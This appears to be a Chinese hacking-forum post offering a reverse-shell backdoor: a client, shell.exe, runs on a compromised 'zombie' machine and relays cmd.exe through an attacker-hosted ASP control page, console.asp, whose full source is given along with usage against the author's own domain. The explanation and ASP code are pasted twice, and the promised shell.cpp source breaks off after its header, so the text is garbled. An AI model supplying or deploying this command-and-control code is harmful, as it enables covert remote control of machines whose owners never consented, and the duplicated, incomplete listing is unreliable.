原理:用ASP实现反向连接,客户端shell.exe大小6K,控制端console.asp大小1.75K
详解:
灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候,想到ASP的Application对象功能之强大,所以产生以下想法
肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互,实现控制
Application("output")为输出流,保存程序执行结果
Application("input")为输入流,保存要执行的命令
思路:
[Client] <-----> [Control] <-----> [Attacker]
Client上运行shell.exe,Control运行console.asp,Attacker通过访问console.asp控制Client
实例:
肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp"
偶网站放上cmd.asp,URL路径为http://cooldiyer.uni.cc/cmd.asp
这时我访问http://cooldiyer.uni.cc/cmd.asp?who=master (参数一定要加上,标明身份)
就可以进行控制了,Refresh刷新可以看到已经有结果了,输入命令,点Execute执行,过几秒钟后,
点击Refresh按钮可以看到执行结果,点击Clear清空输入输出流,执行"exit"程序退出
声明:
只做技术交流,程序只做演示使用,只实现与cmd.exe交互的功能,转载或修改需保留版权
代码:
console.asp
______________________________________________________________________________________________
<%
' 功能介绍:
' 用ASP实现反向SHELL连接,与cmd.exe交互,执行命令后点Refresh后就可以看到回显
' 公用变量 Application("input")、Application("output")为全局输入输出流
' 如果请求登录
if request("act") = "login" then
application("login") = "yes"
response.end
end if
' 如果请求退出
if request("act") = "exit" then
application("login") = "no"
application("input") = ""
application("outout") = ""
response.end
end if
' 验证是否已经登录
if application("login") <> "yes" and request("who") = "master" then
response.write "Client not connect.."
response.end
end if
' 如果请求执行命令,放到Input流里
if request("cmd") <> "" then
application("input") = request("cmd")
end if
' 如果命令执行完毕,结果放到output流,input流置空
if request("result")<>"" then
application("output") = application("output") + request("result")
application("input") = ""
end if
%>
<% If request("frame")="1" Then %>
<%
' 如果请求清空输入输出流
if request("act") = "clear" then
Application("input") = ""
Application("output") = ""
response.redirect request.servervariables("script_name")&"?frame=1"
end if
%>
<textarea cols=120 rows=30>
<%=application("output")%>
</textarea>
<a href=# onclick="location.replace(location.href);">Refresh</a>
<a href=?frame=1&act=clear>Clear</a>
<% elseif request("who") = "master" then %>
<html>
<head><title>ASP Console Manager By cooldiyer</title></head>
<body>
<iframe src=<%=request.servervariables("script_name")%>?frame=1 width=900 height=500 frameborder=0></iframe><br><form method=post name=frm>
<input type=text size=50 name="cmd">
<input type=hidden name="who" value="master">
<input type=submit value="Execute">
</form>
<script>frm.cmd.focus();</script>
<%
else
response.write application("input")
end if
%>
______________________________________________________________________________________________
// shell.cpp : Defines the entry point for the console application.
//
// 实现功能: 与ASP控制端实现交互,实现反向连接
//
详解:
灵感来自在入侵渗透内网时需反向连接但没有公网IP的时候,想到ASP的Application对象功能之强大,所以产生以下想法
肉机执行程序shell.exe让cmd.exe与偶网站一ASP程序进行交互,实现控制
Application("output")为输出流,保存程序执行结果
Application("input")为输入流,保存要执行的命令
思路:
[Client] <-----> [Control] <-----> [Attacker]
Client上运行shell.exe,Control运行console.asp,Attacker通过访问console.asp控制Client
实例:
肉机A,运行"shell.exe cooldiyer.uni.cc /cmd.asp"
偶网站放上cmd.asp,URL路径为http://cooldiyer.uni.cc/cmd.asp
这时我访问http://cooldiyer.uni.cc/cmd.asp?who=master (参数一定要加上,标明身份)
就可以进行控制了,Refresh刷新可以看到已经有结果了,输入命令,点Execute执行,过几秒钟后,
点击Refresh按钮可以看到执行结果,点击Clear清空输入输出流,执行"exit"程序退出
声明:
只做技术交流,程序只做演示使用,只实现与cmd.exe交互的功能,转载或修改需保留版权
代码:
console.asp
______________________________________________________________________________________________
<%
' 功能介绍:
' 用ASP实现反向SHELL连接,与cmd.exe交互,执行命令后点Refresh后就可以看到回显
' 公用变量 Application("input")、Application("output")为全局输入输出流
' 如果请求登录
if request("act") = "login" then
application("login") = "yes"
response.end
end if
' 如果请求退出
if request("act") = "exit" then
application("login") = "no"
application("input") = ""
application("outout") = ""
response.end
end if
' 验证是否已经登录
if application("login") <> "yes" and request("who") = "master" then
response.write "Client not connect.."
response.end
end if
' 如果请求执行命令,放到Input流里
if request("cmd") <> "" then
application("input") = request("cmd")
end if
' 如果命令执行完毕,结果放到output流,input流置空
if request("result")<>"" then
application("output") = application("output") + request("result")
application("input") = ""
end if
%>
<% If request("frame")="1" Then %>
<%
' 如果请求清空输入输出流
if request("act") = "clear" then
Application("input") = ""
Application("output") = ""
response.redirect request.servervariables("script_name")&"?frame=1"
end if
%>
<textarea cols=120 rows=30>
<%=application("output")%>
</textarea>
<a href=# onclick="location.replace(location.href);">Refresh</a>
<a href=?frame=1&act=clear>Clear</a>
<% elseif request("who") = "master" then %>
<html>
<head><title>ASP Console Manager By cooldiyer</title></head>
<body>
<iframe src=<%=request.servervariables("script_name")%>?frame=1 width=900 height=500 frameborder=0></iframe><br><form method=post name=frm>
<input type=text size=50 name="cmd">
<input type=hidden name="who" value="master">
<input type=submit value="Execute">
</form>
<script>frm.cmd.focus();</script>
<%
else
response.write application("input")
end if
%>
______________________________________________________________________________________________
// shell.cpp : Defines the entry point for the console application.
//
// 实现功能: 与ASP控制端实现交互,实现反向连接
//